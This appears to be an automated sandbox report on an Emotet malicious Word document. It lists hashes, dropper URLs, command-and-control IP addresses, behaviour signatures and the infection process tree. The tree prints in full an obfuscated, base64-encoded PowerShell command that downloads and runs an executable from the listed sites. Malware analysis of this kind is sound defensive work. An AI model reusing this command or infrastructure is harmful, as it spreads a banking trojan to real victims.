Analysis

  • max time kernel
    73s
  • max time network
    105s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    28/09/2020, 14:11

General

  • Target
    emotet_e1_1f8ec4f43a822987e0d084649f52bdcc439465804a71f47c8c6a086723feb4bb_2020-09-28__140754414429._doc.doc
  • Size 175KB
  • Sample200928-rexspb5vgn
  • SHA256 1f8ec4f43a822987e0d084649f52bdcc439465804a71f47c8c6a086723feb4bb
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://famousdiagnosticcenter.com/wp-admin/7wX/

  • exe.dropper

    http://www.govtcollegesihunta.com/wp-includes/hX/

  • exe.dropper

    http://jegsnet.com/wp-content/lPr/

  • exe.dropper

    http://fenekformalas.newquantumlogic.com/webstat/G/

  • exe.dropper

    http://helixity-india.com/wp-content/M/

  • exe.dropper

    https://www.buntebenelux.com/wp-admin/cbW/

  • exe.dropper

    http://swso2.com/wp-admin/a/

Extracted

Family
  • emotet

C2
  • 12.163.208.58:80

  • 37.187.161.206:8080

  • 202.29.239.162:443

  • 80.87.201.221:7080

  • 192.241.146.84:8080

  • 74.58.215.226:80

  • 199.203.62.165:80

  • 185.94.252.27:443

  • 174.113.69.136:80

  • 46.43.2.95:8080

  • 50.121.220.50:80

  • 192.81.38.31:80

  • 51.38.124.206:80

  • 76.168.54.203:80

  • 51.75.33.127:80

  • 189.2.177.210:443

  • 77.106.157.34:8080

  • 45.33.77.42:8080

  • 178.250.54.208:8080

  • 5.196.35.138:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1f8ec4f43a822987e0d084649f52bdcc439465804a71f47c8c6a086723feb4bb_2020-09-28__140754414429._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1480
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABWAHAAbAA1AHQANQAyAD0AKAAoACcARQAnACsAJwA5AGcAdAAnACkAKwAnAGQAJwArACcAbQB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAGUAUgBwAFIAbwBmAEkATABlAFwASABjAHoAZgAyAHYAbgBcAGEAbQAwAGgAMgB3AGQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAUgBJAFQAYABZAFAAYABSAG8AVABvAGAAQwBgAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsACcAKQArACgAJwBzADEAJwArACcAMQAsACcAKQArACcAIAB0ACcAKwAnAGwAcwAnACkAOwAkAFcAawA4AGcAZgBoAF8AIAA9ACAAKAAnAEEAJwArACcAYQAnACsAKAAnADgANQB4ACcAKwAnAHEAJwArACcAaQA0ACcAKQApADsAJABPAG4AaQBoADcAagBpAD0AKAAoACcAUgAnACsAJwBtADIANwAnACkAKwAoACcAZgB6ACcAKwAnAHEAJwApACkAOwAkAEsANABpAG8AdgBmAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBpACcAKwAnADQAZwBIAGMAJwApACsAKAAnAHoAZgAyACcAKwAnAHYAJwApACsAJwBuAGkAJwArACgAJwA0AGcAQQAnACsAJwBtADAAaAAyACcAKQArACgAJwB3AGQAJwArACcAaQA0ACcAKQArACcAZwAnACkAIAAgAC0AQwBSAEUAUABMAGEAYwBFACgAJwBpADQAJwArACcAZwAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAVwBrADgAZwBmAGgAXwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFIAMAA0AHAANgB1AHoAPQAoACgAJwBIACcAKwAnAGgAMQAnACkAKwAoACcAMQBrAHYAJwArACcAbwAnACkAKQA7ACQATwBxAG8AegB3ADIAaQA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAE4AVAA7ACQARABrADgAYQA0AGEAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AZgBhAG0AJwApACsAKAAnAG8AJwArACcAdQBzACcAKQArACcAZAAnACsAKAAnAGkAYQAnACsAJwBnAG4AJwApACsAKAAnAG8AcwB0AGkAJwArACcAYwBjAGUAbgB0ACcAKwAnAGUAcgAuAGMAbwAnACkAKwAnAG0ALwAnACsAJwB3AHAAJwArACgAJwAtAGEAZAAnACsAJwBtACcAKQArACgAJwBpAG4ALwAnACsAJwA3ACcAKQArACcAdwBYACcAKwAoACcALwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwB3AHcAJwArACcAdwAuAGcAJwApACsAJwBvACcAKwAoACcAdgB0ACcAKwAnAGMAbwBsACcAKwAnAGwAJwApACsAJwBlAGcAJwArACcAZQBzACcAKwAoACcAaQBoAHUAJwArACcAbgB0ACcAKwAnAGEAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAtACcAKQArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAZQBzAC8AaAAnACsAJwBYAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AagBlACcAKwAnAGcAJwApACsAKAAnAHMAbgAnACsAJwBlAHQALgBjACcAKwAnAG8AbQAvAHcAJwApACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgB0AGUAbgB0AC8AbAAnACsAJwBQACcAKQArACcAcgAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACgAJwBmAGUAbgBlAGsAJwArACcAZgBvACcAKwAnAHIAJwApACsAJwBtAGEAJwArACcAbAAnACsAKAAnAGEAcwAnACsAJwAuAG4AZQAnACkAKwAnAHcAJwArACcAcQB1ACcAKwAnAGEAJwArACgAJwBuAHQAJwArACcAdQBtACcAKwAnAGwAbwAnACkAKwAnAGcAaQAnACsAJwBjACcAKwAnAC4AYwAnACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAdwBlACcAKwAnAGIAJwArACgAJwBzACcAKwAnAHQAYQB0ACcAKQArACgAJwAvAEcAJwArACcALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwADoALwAnACkAKwAnAC8AaAAnACsAKAAnAGUAbABpACcAKwAnAHgAJwArACcAaQB0AHkALQAnACsAJwBpACcAKQArACcAbgAnACsAJwBkACcAKwAnAGkAYQAnACsAJwAuAGMAJwArACcAbwBtACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGMAJwArACgAJwBvACcAKwAnAG4AdABlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcATQAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8ALwB3AHcAdwAnACsAJwAuACcAKQArACcAYgB1ACcAKwAnAG4AJwArACgAJwB0AGUAYgAnACsAJwBlAG4AJwArACcAZQAnACkAKwAoACcAbAB1ACcAKwAnAHgALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwAnACsAJwB3AHAALQBhAGQAJwArACcAbQBpAG4ALwAnACkAKwAoACcAYwBiACcAKwAnAFcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwACcAKQArACgAJwA6AC8AJwArACcALwBzACcAKQArACgAJwB3AHMAJwArACcAbwAyAC4AJwApACsAKAAnAGMAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnAGEALwAnACkAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAHAAXwByAHMANABsAD0AKAAnAFkAbQAnACsAJwBwAF8AJwArACgAJwA1ACcAKwAnADMANgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFYAXwBpAGgANwBsAHcAIABpAG4AIAAkAEQAawA4AGEANABhAHQAKQB7AHQAcgB5AHsAJABPAHEAbwB6AHcAMgBpAC4AIgBkAE8AdwBgAE4ATABPAEEAZABGAGAAaQBMAEUAIgAoACQAVgBfAGkAaAA3AGwAdwAsACAAJABLADQAaQBvAHYAZgBjACkAOwAkAEwAcwA5AHIAcABvAHYAPQAoACcAUgBxACcAKwAnADgAegAnACsAKAAnAHUAJwArACcAdAA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEsANABpAG8AdgBmAGMAKQAuACIATABlAGAATgBnAFQASAAiACAALQBnAGUAIAAyADEANwA3ADcAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQASwA0AGkAbwB2AGYAYwApADsAJABPAG8AMgAxAF8ANQA3AD0AKAAoACcARAAnACsAJwByAHMAZgB6ACcAKQArACcAMAB0ACcAKQA7AGIAcgBlAGEAawA7ACQASgBqADQAeQA4ADMAZAA9ACgAKAAnAEEAJwArACcANABjADgAJwApACsAJwB4AGYAJwArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAYgBrAG4AZAB4AHEAPQAoACcAQgAnACsAKAAnADUAawA5ACcAKwAnAGQANQAnACkAKwAnAF8AJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Users\Admin\Hczf2vn\Am0h2wd\Aa85xqi4.exe
      "C:\Users\Admin\Hczf2vn\Am0h2wd\Aa85xqi4.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1300
      • C:\Windows\SysWOW64\bitsprx2\Dism.exe
        "C:\Windows\SysWOW64\bitsprx2\Dism.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1136

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/824-23-0x000007FEF6790000-0x000007FEF6A0A000-memory.dmp

        memory/1300-17-0x0000000000030000-0x0000000000040000-memory.dmp

        memory/1300-16-0x0000000000220000-0x0000000000232000-memory.dmp

        memory/1480-6-0x0000000006FF0000-0x00000000071F0000-memory.dmp

        memory/1480-2-0x0000000008B70000-0x0000000008B74000-memory.dmp

        memory/1904-9-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

        memory/1904-13-0x000000001C330000-0x000000001C331000-memory.dmp

        memory/1904-12-0x000000001B4D0000-0x000000001B4D1000-memory.dmp

        memory/1904-11-0x0000000002380000-0x0000000002381000-memory.dmp

        memory/1904-10-0x000000001A870000-0x000000001A871000-memory.dmp

        memory/1904-8-0x000000001A830000-0x000000001A831000-memory.dmp

        memory/1904-7-0x000007FEE9F80000-0x000007FEEA96C000-memory.dmp